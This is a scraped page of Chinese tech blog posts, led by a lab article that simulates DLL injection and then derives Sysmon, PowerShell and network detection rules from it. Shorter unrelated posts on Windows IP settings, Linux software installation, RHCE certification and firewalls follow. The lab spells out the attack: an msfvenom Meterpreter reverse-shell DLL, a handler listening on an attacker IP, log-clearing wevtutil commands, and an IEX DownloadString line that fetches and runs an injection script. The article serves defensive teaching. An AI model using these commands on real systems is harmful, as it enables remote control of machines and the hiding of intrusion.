【前言】 在攻防对抗日渐常态化的今天，攻击者的攻击已变得越来越复杂和难以防御，而作为企业的防守人员，也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的，同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此，无论你是一名甲方安全人员、红队大佬，还是对网络安全感兴趣的个人，这篇文章都将会帮助你更好地理解DLL注入的工作原理，特征以及应对方式等。让我们一起开启本篇内容的学习吧！PS：因篇幅有点长，先把本篇目录列出，以帮助读者们更好地理解本篇要领！ 【正文】 1、攻击假设 1.1、什么是DLL？ DLL 本质上是可供其他程序使用的函数和数据的集合，可将其视为虚拟公共资源，Windows运行的任何程序都会不断地调用动态链接库，以访问各种常见函数和数据。 1.2、DLL注入 (T1055.001) 参考ATT&CK攻击矩阵，进程注入的方法比较丰富，涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入：首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间，然后创建远程线程并执行，对应ATT&CK的T1055.001，该方法需要事先将DLL存于磁盘上。 2、环境构建 使用Vmware安装系统镜像：Windows10（victim），kali（攻击）、Ubuntu22.04.2（日志分析）。 在Ubuntu20.04.2安装Wireshark与Volatility；方法参考其代码仓库。Kali已内置安全框架，直接安装即可。 Windows 10 Enterprise至Microsoft Tech Community下载。 2.1 Sysmon 该工具安装时务必指定配置文件，如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config（Florian Roth）。安装完成后运行Powershell命令行：Get-Service sysmon验证是否安装成功。 2.2 配置PowerShell ScriptBlock日志 PowerShell 日志类型：Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志，将配置并激活 ScriptBlock。以管理员运行Powershell，执行如下命令：1）更改powershell执行策略，以允许后续配置更改； Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine 2）新建ScriptBlockLogging注册表路径； New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force 3）新增EnableScriptBlockLogging 属性为DWORD并设置为1； New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force 4）开启日志记录 wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true 2.3 其他软件 Process Hacker：实时分析；Wireshark：流量分析。 3、攻击模拟 3.1 生成dll文件 （1）在Kali VM使用msfvenom生成payload，msfvenom是Metasploit框架中的组件。命令如下： sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll Lhost 表示监听的主机，此处代表Kali主机， Lport 表示监听的端口. -f 生成的文件类型，此处是dll。 成功执行后如下图所示： （2）使用python命令(python3 -m http.server 8008)构建简单的服务，在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后，将与恶意主机建立连接。效果如下： （3）接下来将在Kali启动脚本开启监听，为后续操作建立通道。执行如下命令： msfconsole:开启msf框架；use exploit/multi/handler：生成处理器；set payload windows/meterpreter/reverse_tcp：指定监听的地址与端口 当payload在目标系统上执行时，它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令： set LHOST 192.168.230.155set LPORT 88run 3.2 执行注入 （1）开启WireShark捕获数据包。选择正确的网卡设备进行监听 （2）清除系统当前Sysmon和PowerShell ScriptBlock日志   以管理员身份打开 PowerShell 终端，运行以下两个命令： wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational” （3）准备Powershell脚本该脚本具备实现DLL注入的功能，目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存，操作如下： IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') 若无任何输出，则表示执行成功。 3.3 注入恶意dll 此时进程注入脚本运行在powershell进程中，在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID，将其作为参数传递给注入脚本。运行以下命令： Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll 回到Kali系统，查看msf控制面板的输出，可观察到成功回连。如下图所示： 3.4 执行命令 连接成功后，可以进一步操作受控机器，比如下载文件或执行命令查看详细信息。执行过程如下所示： 3.5日志导出 以管理员打开powershell，输出sysmon与powershell script命令行日志，运行如下命令：Sysmon日志： wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx” Powershell日志： wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]" 4. 攻击分析 4.1 Powershell脚本分析 （1）首先，恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程，分别是：CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态，并返回快照。Process32First检索关于快照中第一个进程的信息，然后在循环中使用Process32Next对其进行迭代，但本次实验中未涉及上述步骤，而是指定目标进程ID，并将其作为参数传入。 （2）选取目标进程后，恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF，表示打开进程时获取了所有可能的权限，允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。 （3）调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。（4）使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。 （5）调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread)，将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL)，将该线程的执行地址设置为 $LoadLibraryAddr（kernel32.dll 中的 LoadLibraryA 函数），以便加载远程进程中的 DLL。 4.2 Dll分析 使用IDA Pro打开evil.dll文件，可以看到此模块包含三个函数：sub_10001000，sub_10001050，sub_100011A0，DllEntryPoint(导出函数)，其中sub_10001050完成核心功能：实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值（StartupInfo、IpProcessInformation 结构体）、当前工作目录、环境变量、创建标志、句柄，随后创建rundll32.exe进程，再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。 继续使用IDA将sub_10001050转换为伪代码，如下图所示, 调用 WriteProcessMemory 函数，将地址为 unk_10003000 的数据块推送到堆栈中，写入目标进程的内存执行。 提取该处的shellcode保存为二进制文件，使用工具scdbg分析此部分shellcode功能，可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。 查看MS源码，如下图所示。除了完成以上功能外，该stager继续处理接收到的内容，首先开辟4字节的buffer用于接收第二阶段的stage，使用virtualAlloc开辟对应长度的空间，循环读取接收内容并记录当前地址ebx，最后运行ebp用于第二阶段的持续控制。 4.3过程分析 过程回顾： （1）首先生成了一个恶意 DLL。（2）将此 DLL 传输到受害者的系统。（3）开启了meterpreter监听处理。（4）下载并执行powershell 脚本，将其注入到内存中。（5）运行合法进程（rufus.exe），将恶意 dll 注入到内存空间中。（6）注入的 DLL回连步骤3中的地址，从而建立连接。 （7）与控制端进行通信处理接第二阶段的payload。 实际的攻击场景可能是这样：攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件，它可能会运行嵌入的 VBA 宏，其中包含恶意代码。它负责下载攻击脚本并将其注入内存；比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入，通常比文件落地更难以检测。 首先使用Windows原生工具回顾攻击过程，包括：网络连接、进程、注册表项等。 4.3.1网络连接 打开 PowerShell 管理终端并运行以下命令： netstat -naob 命令行参数包含 o 和 b，显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接，如下图所示： 它用于加载 DLL。那么问题来了：为什么它会参与出站网络连接？在日常情况下，应该立即查看有关该 IP 的更多信息。例如是内部地址，是否有与之相关的业务系统，是否网络上的其他系统也连接到它，通过关联威胁情报或IOC库查看详细信息。 4.3.2进程信息 接下来需要了解上述进程的详细信息，例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下： tasklist /m /fi "pid eq 6256" 此输出似乎没有任何异常，查看PID=6256的父进程： wmic process where processid=6256 get parentprocessid 其父进程 PPID 为 1480, 查看该进程名称，如下图所示： wmic process where processid=1480 get Name 我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数，因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。 思考：目前发现2处异常点：（1）创建网络连接的进程及父子进程关系异常。 （2）该进程在没有命令行参数的情况下运行异常。 4.3.3 Process Hacker 使用 Process Hacker 等工具查看进程的关键属性： 进程树关系 程序签名是否合法 当前启动目录 命令行参数 线程起始地址 执行权限 内存。 以管理员身份运行Process Hacker，筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。 （1）Parent-Child relationships观察到进程 rufus.exe生成了子进程 rundll32.exe，随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL，此进程关系是比较可疑的。（2）Signature 双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名，此处暂无可疑信息。 （3）Current directory 在同一张图中，我们可以看到当前进程的工作目录是桌面，因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。 （4）Command-line arguments 看到命令行是 rundll32.exe，之前讨论在合理场景下需要路径与命令行参数。 （5）Thread Start Address在“属性”窗口顶部，选择“线程”选项卡。可以在“开始地址”下看到它已被映射，表明文件它确实存在于磁盘上，表明这不是一个反射加载的 DLL。（6）Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。 从结果中看到存在两个具有读-写-执行权限的内存空间，在正常程序执行的过程中，很少有合法程序会写入内存然后立即执行它。 （7）Memory Content双击size为172 kB的memory，可查看加载的内容，从图中可看出： 两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。 总结：使用 Process Hacker发现异常点如下： rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境； rundll32.exe 从桌面运行； 该进程还具有 RWX 内存空间权限并包含 PE 文件。 4.3.4 Sysmon 安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲，如果了解更多有关 Sysmon 的详细信息，推荐连接： （1）Sysmon详情：https://www.某tube.com/watch?v=6W6pXp6EojY（2）Trustedsec：https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 （3）Sysmon for threathunting：https://www.某tube.com/watch?v=7dEfKn70HCI 打开内置的EventViewer，包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/ 首先查看第一个事件ID=22，此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示： 命令行地址参数为raw.githubusercontent.com，因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后，会访问 Web 服务器下载另一个脚本（即Payload），此行为可能会产生 DNS请求记录，该记录是检测命令与控制行为重要指标。与IP地址类似，当我们发现有外联请求时，需要确定地址是否为业务正常请求，是否为服务合法地址，是否为威胁情报黑名单，是否为已知恶意 IOC库地址。 随之我们看到event=3的网络连接，此时evil.dll被注入rufus内存，rundll32创建网络连接，回连至攻击机器的88端口。 然后，发生三个注册表操作，事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示： 实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。（备注：考虑恶意软件的行为，认为该值应该被设置为1 (DWORD (0x00000001))，表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0，待进一步解决。）下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。 该注册表项与上面的名称相同（DisableAntiSpyware），但是注意 TargetObject 的完整路径。第一个位于HKU\...下，而这里的位于HKLM\...下。HKU代表HKEY_USERS，HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息，而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户，第二个涉及整个系统。svchost.exe 进程以系统权限（最高级别的权限）运行，这使其能够修改系统范围的密钥。 在这里，我们可以看到与第一个条目中执行的操作相同，即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态（这就是删除它的实际效果），确保系统不会出现可能干扰恶意软件操作的配置。最后，观察到ID 为 1 的事件，该事件是恶意软件活动重要特征。   在这里我们可以看到Windows远程协助COM服务器可执行文件（raserver.exe）已经启动。该工具用于远程协助，允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问，类似于远程桌面，可用于与系统交互并可能窃取数据。 4.3.5 PowerShell 脚本块 开启特定模块的日志，Powershell日志量相对较少，如下图所示。首先，PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中，我们可以看到与 PowerShell 命令相关的日志，该命令从 Web 服务器下载注入脚本并将其加载到内存中。在现实的攻击场景中，从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。因此，当我们运行前面的 IEX 命令时，它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示，以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目，这是在实际攻击中看到的内容。接下来是具有完全相同时间戳的另外两个条目，其中包含我们未显式运行的命令。由于时间戳完全相同，可以假设它们是由我们运行的命令（Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll）产生的。这些条目可能与程序集交互或分析程序集的过程有关，是 DLL 注入过程的一部分。 总结： 到目前为止我们没有深入分析攻击的过程与原理，但是通过日志我们能发掘较多异常点。在本节中，使用 Sysmon可疑收集到：（1）下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;（2）该恶意软件操纵了DisableAntiSpyware 注册表项;（3）该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe，从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到：（1）powershell从 Web 服务器下载脚本并将其注入内存; （2）使用特定命令行将脚本注入到rufus.exe中，同时可疑查看 dll 注入脚本的实际内容。 4.3.6流量分析 首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包（响应），查看数据包详细信息可查看返回值不同的地址，可能对应不同的CDN地址。我们可以在SIEM中立即查询该IOC，例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后，我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证，然后进行加密 (TLS) 交换。可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键数据包，然后选择“跟随”-“TCP 流”。可查看交换的整个数据流，虽然大部分内容被加密/混淆，但是在顶部我们看到魔术字节和 dos本文，显示有Windows可执行文件头的签名标识。 5.检测规则 rundll32.exe的使用语法如下： rundll32.exe <dllname>,<entrypoint> <optional arguments> 结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。 父子进程关系 在某些场景下存在不规范的命令行参数，日志详情如下所示：从日志内容看为进程启动日志，但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll，再从搜索结果中观察父子进程的关系。如下图所示： 实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生，实际上这一场景可以通过此技巧进行检测。 (1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数，以event_id、image、commandLine为字段建立检测规则如下所示：以dllname、fuction聚合统计后建立阈值，关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll，这属于可疑程度很高的行为需要进一步结合其他数据进行判断，如下图所示：（2）进程路径Rundll32合法路径为两类： C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe 利用sysmon日志中的Image字段建立一条检测规则：接下来统计出现过的路径值，尽一切可能建立正常的行为基线，排除正常路径值，关注异常值。例如以下场景就可能涉及恶意行为。（3）网络连接本次模拟中，rundll32 在网络通信行为只有一处，即回连攻击机的88端口。根据研究人员观察，rundll32的网络通信行为并不活跃，对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合：如果能结合进程启动日志，建立进程关系图就能更直观的展示行为序列，从而进行研判。 【总结】 本文采用较为经典的创建线程实现注入，实际上至少有10种进程注入的实现方式，不同攻击方式可能对应不同的检测规则，后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法，欢迎评论区分享你的经验。 [1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html [3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog [5] https://muchangfeng.gitbook.io/ ...

问题描述： Windows电脑的网卡明明已经配置了静态的IP地址，但是还会出现自动配置IPv4地址的情况。 解决方法： 这个问题大部分是地址冲突导致的，还有一种可能就是网卡默认配置。 地址冲突解决办法：修改本机电脑的IP地址，或者找到冲突的设备修改它的IP。 网卡默认配置解决方法：管理员运行CMD，输入netsh winsock reset catalog按回车、输入netsh int ip reset reset.log按回车，然后就能配置地址、掩码、网关了。 小知识： 【169.254.×.×】这个是广播地址不是正常获取到的IP地址。 ...

点击围观  ...

点击围观  ...

点击围观  ...

点击围观 ...

Linux系统安装软件四种方式： 绿色安装 yum安装 rpm安装 源码安装 1. 绿色安装 这种方式最简便，一般提供Compressed Archive压缩文档包，如Java软件的压缩文档包，只需要解压、设置环境变量即可直接使用。 # 下载软件 https://www.oracle.com/java/technologies/downloads/ # 新建java软件存放路径 mkdir /opt/java # 解压 tar -xvf jdk-21_linux-x64_bin.tar.gz -C /opt/java # 设置环境变量 vim /etc/profile.d/java.sh JAVA_HOME=/opt/java/jdk-21.0.1/ CLASSPATH=.:$JAVA_HOME/lib PATH=JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH # 加载环境变量 source /etc/profile.d/java.sh # 检验java环境是否配置好 java 2. yum安装 前提条件是有网络 需要安装的软件及版本，yum源里刚好有。 # 搜索redis源 yum search redis # 查看redis详细信息 yum info redis # 安装redis软件 yum -y install redis # 查看redis状态 systemctl status redis # 设置开机自启 systemctl enable redis # 启动redis服务 systemctl start redis 3. rpm安装 需要的软件及版本，只提供了rpm包 3.1 rpm常用命令 # 安装一个包 rpm -ivh 包名 # 升级一个包 rpm -Uvh 包名 # 查询包是否安装 rpm -q 包名 # 查询安装包详情信息 rpm -qi 包名 # 列出服务器上的一个文件属于哪个rpm包 rpm -qf 文件名 # 列出所有安装的rpm包 rpm -qa # 卸载包 rpm -e 包名 [root@centos ~]# rpm --help Usage: rpm [OPTION...] Query/Verify package selection options: -a, --all query/verify all packages -f, --file query/verify package(s) owning file -g, --group query/verify package(s) in group -p, --package query/verify a package file --pkgid query/verify package(s) with package identifier --hdrid query/verify package(s) with header identifier --triggeredby query the package(s) triggered by the package --whatrequires query/verify the package(s) which require a dependency --whatprovides query/verify the package(s) which provide a dependency --nomanifest do not process non-package files as manifests Query options (with -q or --query): -c, --configfiles list all configuration files -d, --docfiles list all documentation files -L, --licensefiles list all license files --dump dump basic file information -l, --list list files in package --queryformat=QUERYFORMAT use the following query format -s, --state display the states of the listed files Verify options (with -V or --verify): --nofiledigest don't verify digest of files --nofiles don't verify files in package --nodeps don't verify package dependencies --noscript don't execute verify script(s) Install/Upgrade/Erase options: --allfiles install all files, even configurations which might otherwise be skipped --allmatches remove all packages which match <package> (normally an error is generated if <package> specified multiple packages) --badreloc relocate files in non-relocatable package -e, --erase=<package>+ erase (uninstall) package --excludedocs do not install documentation --excludepath=<path> skip files with leading component <path> --force short hand for --replacepkgs --replacefiles -F, --freshen=<packagefile>+ upgrade package(s) if already installed -h, --hash print hash marks as package installs (good with -v) --ignorearch don't verify package architecture --ignoreos don't verify package operating system --ignoresize don't check disk space before installing -i, --install install package(s) --justdb update the database, but do not modify the filesystem --nodeps do not verify package dependencies --nofiledigest don't verify digest of files --nocontexts don't install file security contexts --noorder do not reorder package installation to satisfy dependencies --noscripts do not execute package scriptlet(s) --notriggers do not execute any scriptlet(s) triggered by this package --nocollections do not perform any collection actions --oldpackage upgrade to an old version of the package (--force on upgrades does this automatically) --percent print percentages as package installs --prefix=<dir> relocate the package to <dir>, if relocatable --relocate=<old>=<new> relocate files from path <old> to <new> --replacefiles ignore file conflicts between packages --replacepkgs reinstall if the package is already present --test don't install, but tell if it would work or not -U, --upgrade=<packagefile>+ upgrade package(s) --reinstall=<packagefile>+ reinstall package(s) Common options for all rpm modes and executables: -D, --define='MACRO EXPR' define MACRO with value EXPR --undefine=MACRO undefine MACRO -E, --eval='EXPR' print macro expansion of EXPR --macros=<FILE:...> read <FILE:...> instead of default file(s) --noplugins don't enable any plugins --nodigest don't verify package digest(s) --nosignature don't verify package signature(s) --rcfile=<FILE:...> read <FILE:...> instead of default file(s) -r, --root=ROOT use ROOT as top level directory (default: "/") --dbpath=DIRECTORY use database in DIRECTORY --querytags display known query tags --showrc display final rpmrc and macro configuration --quiet provide less detailed output -v, --verbose provide more detailed output --version print the version of rpm being used Options implemented via popt alias/exec: --scripts list install/erase scriptlets from package(s) --setperms set permissions of files in a package --setugids set user/group ownership of files in a package --setcaps set capabilities of files in a package --restore restore file/directory permissions --conflicts list capabilities this package conflicts with --obsoletes list other packages removed by installing this package --provides list capabilities that this package provides --requires list capabilities required by package(s) --info list descriptive information from package(s) --changelog list change logs for this package --xml list metadata in xml --triggers list trigger scriptlets from package(s) --last list package(s) by install time, most recent first --dupes list duplicated packages --filesbypkg list all files from each package --fileclass list file names with classes --filecolor list file names with colors --fscontext list file names with security context from file system --fileprovide list file names with provides --filerequire list file names with requires --filecaps list file names with POSIX1.e capabilities Help options: -?, --help Show this help message --usage Display brief usage message # 安装java的jdk rpm -ivh jdk-21_linux-x64_bin.rpm # 查看安装的jdk rpm -qa | grep "jdk" # 忽略依赖关系强制卸载jdk rpm -evh --nodeps jdk-21-21.0.1-12.x86_64 4. 源码安装 软件给的是C语言的源代码，需要编译成二进制，再安装。 Linux下安装软件，大型软件docker、oracle一般放/opt目录下；/usr目录一般由软件包管理器（yum、apt）来管理；/usr/local是用户级程序目录，/usr/local/src是用户级存放目录。 以安装nginx为例 # 安装依赖 yum install -y gcc pcre-devel openssl-devel 4.1 执行configure脚本 ./configure [option…] 通过选项传递参数，指定安装路径、启用特性等；执行时会参考用户的指定以及Makefile.in文件生成Makefile 检查依赖到的外部环境，如依赖的软件包 tar -xvf nginx-1.25.3.tar.gz cd nginx-1.25.3 ./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --user=nginx --group=nginx 选项说明： 选项 说明 –prefix=/usr/local/nginx 编译安装目录。如果没有指定，默认为 /usr/local/程序名 –user=nginx 所属用户nginx –group=nginx 所属组nginx –with-http_stub_status_module 该模块提供nginx的基本状态信息 –with-http_ssl_module 支持HTTPS 4.2 编译、安装 # 编译 make make 根据Makefile文件，会检测依赖的环境，进行构建应用程序 4.3 安装 # 安装 make install make install 复制文件到相应路径 4.4 操作nginx # 启动服务 /usr/local/nginx/sbin/nginx # 重新加载配置文件 /usr/local/nginx/sbin/nginx -s reload # 设置软连接 ln -s /usr/local/nginx/sbin/nginx /usr/local/sbin/ # 强制停止 nginx -s stop # 安全退出 nginx -s quit # 查看进程 ps -ef | grep nginx # 测试 curl 127.0.0.1 4.5 创建服务器 编写配置文件 # 编写配置文件 vi /usr/lib/systemd/system/nginx.service # 写入这些信息 [Unit] Description=nginx After=network.target [Service] Type=forking ExecStartPre=/usr/local/nginx/sbin/nginx -t ExecStart=/usr/local/nginx/sbin/nginx ExecReload=/usr/local/nginx/sbin/nginx -s reload ExecStop=/usr/local/nginx/sbin/nginx -s quit PrivateTmp=true [Install] WantedBy=multi-user.target 使用systemctl管理nginx服务 systemctl enable nginx systemctl strat nginx systemctl status nginx </div> ...

红帽认证是一个完善的认证体系，分为三个等级：初级、中级和高级。 其中，RHCE认证是中级认证。 这意味着，获得RHCE认证需要先通过初级认证，即Red Hat Certified System Administrator（RHCSA）认证。 通过RHCE认证后，可以进一步挑战高级认证，即Red Hat Certified Architect（RHCA）认证。 下面我们就来了解一下RHCE认证吧。 RHCE是中级还是高级 红帽认证分为了三个等级 ★ 红帽认证系统管理员（RHCSA）： 是红帽的初级认证，它证明你完全可以对Linux系统进行基础管理和维护工作。如：创建用户、管理磁盘、文件权限等。 ★ 红帽认证工程师（RHCE）： 是红帽Linux的中级水平认证，它证明你具有红帽企业Linux系统高级系统管理员所需的知识、技能和能力。 既能对服务器进行基础管理，还可以配置注入WEB、邮件、DNS等服务器，并且实现其安全运行。 ★ 红帽认证架构师（RHCA）： 是红帽Linux最高级别认证，也是公认的更受欢迎、更成熟的认证。 它主要是面向那些负责部署和管理大型企业环境中众多系统的高级Linux系统管理员提供深入的实际操作培训。 RHCE证书含金量如何 一、市场需求：Linux人才需求持续升温 随着Linux系统的普及，企业对Linux人才的需求也在不断增长。 据相关数据显示，我国每年至少会有60万的缺口，而红帽认证出来的网络工程师工作并不难找。 此外，许多企业和机构也纷纷采用Linux系统，这也进一步加剧了对Linux人才的需求。 因此，拥有RHCE证书将为你在就业市场上增加不少竞争力。 二、就业前景：高薪就业，职业发展前景广阔 拥有RHCE证书的求职者可以从事Linux系统管理、网络管理、系统集成等方面的工作。 这些职位不仅薪资待遇优厚，而且职业发展前景也十分广阔。 随着工作经验和技能的提升，你可以逐步晋升到更高的职位，例如系统架构师、项目经理等。 三、考试难度：通过率维持在40—60%，物以稀为贵 RHCE认证的考试难度较大，通过率通常维持在40—60%。 这是因为红帽认证的考试全部都是上机操作，配置试验考试，没有题库的帮助。 因此，通过RHCE认证的考生不仅需要具备扎实的理论基础，还需要具备熟练的操作技能和解决问题的能力。 好了，以上就是给大家介绍的RHCE是中级还是高级以及含金量如何的攻略。 ...

企业级防火墙是专为满足大型组织的需求而设计的防火墙。 与为小型办公室或家庭网络设计的基本防火墙不同，企业级防火墙具有更高级的功能和更大的处理能力，可以处理大量的网络流量，同时提供更深入的安全检查。 企业级防火墙通常包括以下功能： 入侵防御系统（IDS）和入侵防止系统（IPS）：这些系统可以检测并阻止恶意活动和攻击。 虚拟私人网络（VPN）：企业级防火墙通常包括VPN支持，允许远程用户安全地访问企业网络。 深度包检查：这是一种防火墙技术，可以检查网络流量的每个数据包的内容，以阻止恶意软件和攻击。 高可用性和负载均衡：企业级防火墙通常支持这些功能，以确保网络的持续可用性和性能。 集中管理和报告：这些功能使网络管理员能够更容易地管理防火墙，监控网络活动，并在发生安全事件时接收通知。 ...

企业级防火墙的工作原理，你就记住这几个关键字： 企业级防火墙通过访问控制和安全策略来管理网络流量。访问控制列表（ACL）是其中的一种常见机制，根据源地址、目标地址、端口号等因素，允许或禁止数据的传输。安全策略则定义了企业对网络流量的整体管理方针，规定了允许和禁止的活动。 虚拟专用网络是企业级防火墙中的一项关键功能。通过使用加密通道，VPN使得远程用户可以安全地访问企业网络。这对于分布式团队和远程办公的企业来说尤为重要，保障了远程用户的数据传输的安全性。 企业级防火墙具备深度数据包检查的高级功能。这意味着防火墙不仅仅停留在简单的报文头部检查，还能深入分析数据包的内容，以便更全面地识别和阻止潜在的威胁。这种深度的检查使得防火墙更加智能化和适应性强。 一些企业级防火墙集成了入侵检测和防御系统。这意味着防火墙不仅仅阻止已知的威胁，还能主动监测网络中的异常活动，及时响应和防范潜在的攻击。 企业级防火墙记录网络流量和安全事件的日志。这些日志对于审计、分析和识别潜在的安全威胁非常重要。通过仔细分析日志，企业可以更好地了解网络活动，及时发现异常并采取相应措施。 保护网络免受病毒、蠕虫和其他恶意软件的传播是企业级防火墙的重要任务之一。这通常包括实时的病毒扫描、恶意软件识别和隔离感染节点等功能，以确保网络的整体健康和安全。 ...

企业级防火墙主要有以下几种类型： 硬件防火墙 这种防火墙是一种物理设备，通常安装在网络的边缘，作为网络和外部世界之间的主要防线。 硬件防火墙通常具有高性能，可以处理大量的网络流量，同时提供各种高级安全功能。 软件防火墙 这种防火墙是一种可以安装在服务器或其他网络设备上的软件。 软件防火墙提供了与硬件防火墙相同的基本功能，但通常更易于定制和管理。 虚拟防火墙 这种防火墙是一种软件防火墙，可以在虚拟化环境中运行，如云计算平台。 虚拟防火墙可以提供与硬件和软件防火墙相同的功能，同时还提供了更高的灵活性和可扩展性。 ...

